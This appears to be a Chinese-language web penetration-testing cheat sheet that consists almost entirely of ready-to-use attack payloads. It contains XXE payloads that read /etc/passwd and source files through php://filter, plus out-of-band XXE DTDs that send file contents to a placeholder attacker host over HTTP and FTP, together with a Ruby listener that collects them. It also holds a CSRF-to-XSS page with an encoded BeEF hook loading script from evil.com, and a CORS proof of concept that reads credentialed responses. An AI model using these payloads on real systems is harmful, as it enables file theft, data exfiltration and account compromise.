<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<methodCall><methodName>&test;</methodName></methodCall>
如果发现了一个错误:
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test "nice string bro">]
>
<methodCall><methodName>&test;</methodName></methodCall>
说明能够解析,试试读文件:
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&test;</methodName></methodCall>
或者用php伪协议:
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]
>
<methodCall><methodName>&test;</methodName></methodCall>
得到的结果再base64解码即可。
webgoat8
测试方法
试一试是否可以添加实体的评论:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<comment><text>&test;</text></comment>
可以的话,试试file:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<comment><text>&test;</text></comment>
MUTILLIDAE
要获取mutillidae上的文件,要在form表单提交的过程中使用测试的payload:
<?xml version="1.0"?> <!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
或者把xml版本忽略掉:
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
以及上面提到的php流:
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "php://filter/convert.base64-encode/resource=phpinfo.php">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
OUT OF BAND
基础测试
使用 burp 的collaborator 然后单击copy the payload to clipboard
将下面的code放入xml文件,然后上传:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
看看是否发送了请求
成功后,再利用其他payload
读文件
wing.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/lsb-release">
<!ENTITY % dtd SYSTEM
"http://<evil attacker hostname>:8000/evil.dtd">
%dtd;
]>
<data>&send;</data>
vps->evil.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;
host in dtd:
python -m SimpleHTTPServer 8000
使用FTP读文件
evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://<evil attacker hostname>:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
将dtd文件放在VPS上:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<evil attacker hostname>:2121/%d;'>">
ruby利用脚本:
require 'socket'
ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088
log = File.open( "xxe-ftp.log", "a")
payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'
Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end
end
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"
if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end
loop do
sleep(10000)
end
<html>
<body>
<p>Please wait... ;)</p>
<script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
function submitRequest() {
var req = new XMLHttpRequest();
req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
req.setRequestHeader("Accept", "*\/*");
req.withCredentials = true;
req.onreadystatechange = function () {
if (req.readyState === 4) {
executeXSS();
}
}
req.send();
}
function executeXSS() {
window.location.assign(host+'<URI with XSS>'+alert_payload);
}
submitRequest();
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
// If you want to print something out after it finishes:
//alert(req.getAllResponseHeaders());
//alert(localStorage.access_token);
}
};
// If you need to set a header (you probably won't):
// req.setRequestHeader("header name", "value");
req.open("GET", "<site>", true);
req.withCredentials = true;
req.send();
}
</script>
</body>
</html>
资源:
https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
https://www.youtube.com/watch?v=wgkj4ZgxI4c
http://ejj.io/misconfigured-cors/
https://www.youtube.com/watch?v=lg31RYYG-T4
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://w3c.github.io/webappsec-cors-for-developers/#cors
http://gerionsecurity.com/2013/11/cors-attack-scenarios/
Using CORS misconfiguration to steal a CSRF Token:
https://yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/
HTTP/1.1 302 Object moved
Date: Mon, 07 Mar 2016 17:42:46 GMT
Location: account.asp?origin=foo
Connection: close
Content-Length: 121
<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="">here</a>.</body>
while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The site is down"; sleep 10; done